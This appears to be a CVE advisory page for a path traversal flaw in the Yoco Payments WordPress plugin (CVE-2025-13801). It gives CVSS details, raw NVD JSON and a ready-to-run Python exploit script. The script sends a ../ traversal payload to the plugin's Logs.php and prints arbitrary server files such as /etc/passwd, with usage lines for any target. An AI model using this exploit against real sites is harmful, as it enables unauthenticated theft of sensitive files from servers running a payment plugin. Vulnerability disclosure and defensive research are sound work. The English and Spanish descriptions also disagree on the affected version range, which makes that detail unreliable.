Security Vulnerability Report
中文
CVE-2025-13801 CVSS 7.5 HIGH

CVE-2025-13801

Published: 2026-01-07 12:16:50
Last Modified: 2026-04-15 00:35:42

Description

The Yoco Payments plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 3.9.0 via the file parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Yoco Payments WordPress插件 ≤ 3.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_cve_2025_13801(target_url, file_to_read): """ PoC for CVE-2025-13801: Yoco Payments WordPress Plugin Path Traversal This PoC demonstrates how an unauthenticated attacker can read arbitrary files on the server through the vulnerable 'file' parameter in the Yoco Payments plugin. Usage: python exploit.py http://target-wordpress-site.com /etc/passwd """ # Target endpoint - typically in the WordPress plugins path # The vulnerable parameter is 'file' which allows path traversal vulnerable_endpoint = f"{target_url}/wp-content/plugins/yoco-payment-gateway/" # Construct path traversal payload # Using ../../../ to navigate out of the plugin directory payload = "?file=" + "../" * 6 + file_to_read.lstrip("/") full_url = vulnerable_endpoint + "src/Helpers/Logs.php" + payload print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-13801") print(f"[*] Attempting to read: {file_to_read}") print(f"[*] Request URL: {full_url}") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Success! File contents:") print("=" * 50) print(response.text) print("=" * 50) else: print(f"[-] Failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python exploit.py <target_url> <file_to_read>") print("Example: python exploit.py http://example.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_cve_2025_13801(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13801", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Yoco Payments plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 3.9.0 via the file parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information."}, {"lang": "es", "value": "El plugin Yoco Payments para WordPress es vulnerable a salto de ruta en todas las versiones hasta la 3.8.8, inclusive, a través del parámetro file. Esto permite a atacantes no autenticados leer el contenido de archivos arbitrarios en el servidor, que pueden contener información sensible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/yoco-payment-gateway/tags/3.8.8/src/Helpers/Logs.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/yoco-payment-gateway/tags/3.8.8/src/Helpers/Logs.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3434947/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ad74d5d0-270e-41d3-9596-2f71b05af276?source=cve", "source": "[email protected]"}]}}